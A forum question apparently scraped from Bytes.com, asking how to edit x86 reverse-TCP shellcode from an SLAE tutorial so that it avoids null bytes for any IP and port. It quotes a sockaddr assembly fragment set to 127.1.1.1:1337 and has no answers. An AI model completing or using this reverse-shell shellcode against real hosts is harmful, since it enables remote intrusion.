473,399 Members | 3,302 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,399 software developers and data experts.

How to change the assembly code in this shell for make it work with any IP and port?

I have read this blog: https://www.rcesecurity.com/2014/07/slae-shell-reverse-tcp-shellcode-linux-x86/, In the complete shellcode, as you read it, I ask the guy who created that blog, he say:

"keep in mind that your port or ip should not contain a \x00, which could break it. If your IP contains a zero like 192.168.0.1 or your port contains a zero like 80, the shellcode will likely fail when you use it with a remote exploit".
and I ask what IP and port can work with this shell code, he say:

"all IPs and ports that do not contain a zero in their network byte-order representation. So 0x0101017f which is the network-byte order representation of 127.1.1.1 is fine. 0x100007f which would be 127.0.0.1 is not working".
So can anyone help me how to edit just one thing :

push 0x0101017f ;sin_addr=127.1.1.1 (network byte order)
push word 0x3905 ;sin_port=1337 (network byte order)
inc ebx
push word bx ;sin_family=AF_INET (0x2)
mov ecx, esp ;save pointer to sockaddr struct`
To make the the shell work with any ip address and port number?
May 10 '16 #1
0 1069

Sign in to post your reply or Sign up for a free account.

Similar topics

0
by: Tom Szabo | last post by:
Hi All, I am using PHP 5 ans Zend 3.5.2. and lately I am having problems with the PHP engine locking up/stopping after changes in the code. If I instanciate a new window from a static (HTML)...
3
by: Xiangliang Meng | last post by:
Hi, all. How does this 'sizeof(*area)' work? I think the reason is the sentence in C99: If the operand has type ¡®¡®pointer to type¡¯¡¯, the result has type ¡®¡®type¡¯¡¯, but I'm not sure. Could...
3
by: Tamir Khason | last post by:
Why this does not work? /*first option*/ String path = @"C:\TestMethod.dll"; //There is file named TestMethod.dll at C:\ /*second option*/ String path = "TestMethod.dll"; //There is file...
14
by: Teis Draiby | last post by:
I am about to move my C++ application to C#. Parts of my previous application consisted of inline SSE2 assembly code optimized for the P4 processor. What options do I have to integrate that part...
10
by: ThunderMusic | last post by:
Hi, I need to optimize a close loop. Usually I would use assembly, but I don't event know if it's available to VB.NET. I'll explain the case and maybe some of you will be able to advise me. I...
8
by: Robert Dufour | last post by:
Dim message As New MailMessage("mymail@mydomain.com", "mymail@mydomain.com", "Test", "Test") Dim emailClient As New SmtpClient("localhost") emailClient.Send(message) The IIS server is...
2
by: amitsaxena | last post by:
hi, i am using C#.NET code to connect to COM1 port and read a stream of data which ...process i have to apply ,pls send the code . Thanks ..
27
by: Jon Slaughter | last post by:
Can I modify code that I have included using <?php include("../Index.php"); ?> The Index.php file contains links that need to be modified to work. Index.php is basically an html file uses a...
0
by: summair | last post by:
Hi! I am using Visual Studio.net 2005 for my "Windows Form Application" in vc++.net i want to use assembly code in it like this __asm { //assembly language code } can somebody help me how...
4
by: jmarcrum | last post by:
I have to modify this assembly code in order to make it use interrupts. Right now, when I push button 1 on the microprocessor the count increments once (the LED's count in binary, using only 3 LED's...
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
1
by: nemocccc | last post by:
hello, everyone, I want to develop a software for my android phone for daily needs, any suggestions?
0
by: Hystou | last post by:
There are some requirements for setting up RAID: 1. The motherboard and BIOS support RAID configuration. 2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers,...
0
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven...
0
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows...
0
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing,...
0
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.